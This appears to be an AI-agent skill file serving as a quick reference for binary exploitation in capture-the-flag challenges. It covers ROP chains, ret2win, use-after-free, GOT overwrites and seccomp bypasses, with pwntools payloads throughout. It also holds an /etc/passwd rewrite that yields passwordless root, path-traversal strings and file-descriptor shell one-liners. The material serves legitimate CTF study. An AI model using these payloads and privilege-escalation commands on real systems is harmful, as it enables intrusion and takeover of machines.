| name | ctf-pwn |
| description | Binary exploitation (pwn) techniques for CTF challenges. Use when exploiting buffer overflows, format strings, heap vulnerabilities, race conditions, or kernel bugs. |
| user-invocable | false |
| allowed-tools | ["Bash","Read","Write","Edit","Glob","Grep","Task","WebFetch","WebSearch"] |
CTF Binary Exploitation (Pwn)
Quick reference for pwn challenges. For detailed techniques, see supporting files.
Additional Resources
- format-string.md - Format string exploitation (leaks, GOT overwrite, blind pwn, filter bypass)
- advanced.md - Advanced techniques (heap, JIT, esoteric GOT, custom allocators, DNS overflow)
Source Code Red Flags
- Threading/
pthread → race conditions
usleep()/sleep() → timing windows
- Global variables in multiple threads → TOCTOU
Race Condition Exploitation
bash -c '{ echo "cmd1"; echo "cmd2"; sleep 1; } | nc host port'
Common Vulnerabilities
- Buffer overflow:
gets(), scanf("%s"), strcpy()
- Format string:
printf(user_input)
- Integer overflow, UAF, race conditions
Kernel Exploitation
- Look for vulnerable
lseek handlers allowing OOB read/write
- Heap grooming with forked processes
- SUID binary exploitation via kernel-to-userland buffer overflow
- Check kernel config for disabled protections:
CONFIG_SLAB_FREELIST_RANDOM=n → sequential heap chunks
CONFIG_SLAB_MERGE_DEFAULT=n → predictable allocations
FUSE/CUSE Character Device Exploitation
FUSE (Filesystem in Userspace) / CUSE (Character device in Userspace)
Identification:
- Look for
cuse_lowlevel_main() or fuse_main() calls
- Device operations struct with
open, read, write handlers
- Device name registered via
DEVNAME=backdoor or similar
Common vulnerability patterns:
void backdoor_write(const char *input, size_t len) {
char *cmd = strtok(input, ":");
char *file = strtok(NULL, ":");
char *mode = strtok(NULL, ":");
if (!strcmp(cmd, "b4ckd00r")) {
chmod(file, atoi(mode));
}
}
Exploitation:
echo "b4ckd00r:/etc/passwd:511" > /dev/backdoor
echo "root::0:0:root:/root:/bin/sh" > /etc/passwd
su root
Privilege escalation via passwd modification:
- Make
/etc/passwd writable via the backdoor
- Replace root line with
root::0:0:root:/root:/bin/sh (no password)
su root without password prompt
Busybox/Restricted Shell Escalation
When in restricted environment without sudo:
- Find writable paths via character devices
- Target system files:
/etc/passwd, /etc/shadow, /etc/sudoers
- Modify permissions then content to gain root
Protection Implications for Exploit Strategy
| Protection | Status | Implication |
|---|
| PIE | Disabled | All addresses (GOT, PLT, functions) are fixed - direct overwrites work |
| RELRO | Partial | GOT is writable - GOT overwrite attacks possible |
| RELRO | Full | GOT is read-only - need alternative targets (hooks, vtables, return addr) |
| NX | Enabled | Can't execute shellcode on stack/heap - use ROP or ret2win |
| Canary | Present | Stack smash detected - need leak or avoid stack overflow (use heap) |
Quick decision tree:
- Partial RELRO + No PIE → GOT overwrite (easiest, use fixed addresses)
- Full RELRO → target
__free_hook, __malloc_hook (glibc < 2.34), or return addresses
- Stack canary present → prefer heap-based attacks or leak canary first
Stack Buffer Overflow
- Find offset to return address:
cyclic 200 then cyclic -l <value>
- Check protections:
checksec --file=binary
- No PIE + No canary = direct ROP
- Canary leak via format string or partial overwrite
ret2win with Parameter (Magic Value Check)
Pattern: Win function checks argument against magic value before printing flag.
void win(long arg) {
if (arg == 0x1337c0decafebeef) {
}
}
Exploitation (x86-64):
from pwn import *
pop_rdi_ret = 0x40150b
ret = 0x40101a
win_func = 0x4013ac
magic = 0x1337c0decafebeef
offset = 112 + 8
payload = b"A" * offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(magic)
payload += p64(win_func)
Finding the win function:
- Search for
fopen("flag.txt") or similar in Ghidra
- Look for functions with no XREF that check a magic parameter
- Check for conditional print/exit patterns after parameter comparison
Stack Alignment (16-byte Requirement)
Modern Ubuntu/glibc requires 16-byte stack alignment before call instructions. Symptoms of misalignment:
- SIGSEGV in
movaps instruction (SSE requires alignment)
- Crash inside libc functions (printf, system, etc.)
Fix: Add extra ret gadget before your ROP chain:
payload = b"A" * offset
payload += p64(ret)
payload += p64(pop_rdi_ret)
Offset Calculation from Disassembly
push %rbp
mov %rsp,%rbp
sub $0x70,%rsp ; Stack frame = 0x70 (112) bytes
...
lea -0x70(%rbp),%rax ; Buffer at rbp-0x70
mov $0xf0,%edx ; read() size = 240 (overflow!)
Calculate offset:
- Buffer starts at
rbp - buffer_offset (e.g., rbp-0x70)
- Saved RBP is at
rbp (0 offset from buffer end)
- Return address is at
rbp + 8
- Total offset = buffer_offset + 8 = 112 + 8 = 120 bytes
Input Filtering (memmem checks)
Some challenges filter input using memmem() to block certain strings:
payload = b"A" * 120 + p64(gadget) + p64(value)
assert b"badge" not in payload and b"token" not in payload
Finding Gadgets
objdump -d binary | grep -B1 "pop.*rdi"
ROPgadget --binary binary | grep "pop rdi"
objdump -d binary | grep -E "^\s+[0-9a-f]+:\s+c3\s+ret"
Struct Pointer Overwrite (Heap Menu Challenges)
Pattern: Menu-based programs with create/modify/delete/view operations on structs containing both data buffers and pointers. The modify/edit function reads more bytes than the data buffer, overflowing into adjacent pointer fields.
Struct layout example:
struct Student {
char name[36];
int *grade_ptr;
float gpa;
};
Exploitation:
from pwn import *
WIN = 0x08049316
GOT_TARGET = 0x0804c00c
create_student("AAAA", 5, 3.5)
payload = b'A' * 36 + p32(GOT_TARGET)
modify_name(0, payload)
modify_grade(0, str(WIN))
GOT target selection strategy:
- Identify which libc functions the
win function calls internally
- Do NOT overwrite GOT entries for functions used by
win (causes infinite recursion/crash)
- Prefer functions called in the main loop AFTER the write
| Win uses | Safe GOT targets |
|---|
| puts, fopen, fread, fclose, exit | printf, free, getchar, malloc, scanf |
| printf, system | puts, exit, free |
| system only | puts, printf, exit |
ROP Chain Building
from pwn import *
elf = ELF('./binary')
libc = ELF('./libc.so.6')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0]
ret = rop.find_gadget(['ret'])[0]
payload = flat(
b'A' * offset,
pop_rdi,
elf.got['puts'],
elf.plt['puts'],
elf.symbols['main']
)
Pwntools Template
from pwn import *
context.binary = elf = ELF('./binary')
context.log_level = 'debug'
def conn():
if args.REMOTE:
return remote('host', port)
return process('./binary')
io = conn()
io.interactive()
Useful Commands
one_gadget libc.so.6
ropper -f binary
ROPgadget --binary binary
seccomp-tools dump ./binary
Use-After-Free (UAF) Exploitation
Pattern: Menu-based programs with create/delete/view operations where free() doesn't NULL the pointer.
Classic UAF flow:
- Create object A (allocates chunk with function pointer)
- Leak address via inspect/view (bypass PIE)
- Free object A (creates dangling pointer)
- Allocate object B of same size (reuses freed chunk via tcache)
- Object B data overwrites A's function pointer with
win() address
- Trigger A's callback → jumps to
win()
Key insight: Both structs must be the same size for tcache to reuse the chunk.
create_report("sighting-0")
leak = inspect_report(0)
pie_base = leak - redaction_offset
win_addr = pie_base + win_offset
delete_report(0)
create_signal(b"A"*56 + p64(win_addr))
analyze_report(0)
Seccomp Bypass
Alternative syscalls when seccomp blocks open()/read():
openat() (257), openat2() (437, often missed!), sendfile() (40), readv()/writev()
Check rules: seccomp-tools dump ./binary
See advanced.md for: conditional buffer address restrictions, shellcode construction without relocations (call/pop trick), seccomp analysis from disassembly, scmp_arg_cmp struct layout.
Stack Shellcode with Input Reversal
Pattern (Scarecode): Binary reverses input buffer before returning.
Strategy:
- Leak address via info-leak command (bypass PIE)
- Find
sub rsp, 0x10; jmp *%rsp gadget
- Pre-reverse shellcode and RIP overwrite bytes
- Use partial 6-byte RIP overwrite (avoids null bytes from canonical addresses)
- Place trampoline (
jmp short) to hop back into NOP sled + shellcode
Null-byte avoidance with scanf("%s"):
- Can't embed
\x00 in payload
- Use partial pointer overwrite (6 bytes) — top 2 bytes match since same mapping
- Use short jumps and NOP sleds instead of multi-address ROP chains
Path Traversal Sanitizer Bypass
Pattern (Galactic Archives): Sanitizer skips character after finding banned char.
"....//....//etc//passwd"
Flag via /proc/self/fd/N:
- If binary opens flag file but doesn't close fd, read via
/proc/self/fd/3
- fd 0=stdin, 1=stdout, 2=stderr, 3=first opened file
Global Buffer Overflow (CSV Injection)
Pattern (Spreadsheet): Adjacent global variables exploitable via overflow.
Exploitation:
- Identify global array adjacent to filename pointer in memory
- Overflow array bounds by injecting extra delimiters (commas in CSV)
- Overflowed pointer lands on filename variable
- Change filename to
flag.txt, then trigger read operation
edit_cell("J10", "whatever,flag.txt")
save()
load()
load()
print_spreadsheet()
Shell Tricks
File descriptor redirection (no reverse shell needed):
exec <&3; sh >&3 2>&3
exec<&3;sh>&3
- Network servers often have client connection on fd 3
- Avoids firewall issues with outbound connections
- Works when you have command exec but limited chars
Find correct fd:
ls -la /proc/self/fd
Short shellcode alternatives:
sh<&3 >&3 - minimal shell redirect
- Use
$0 instead of sh in some shells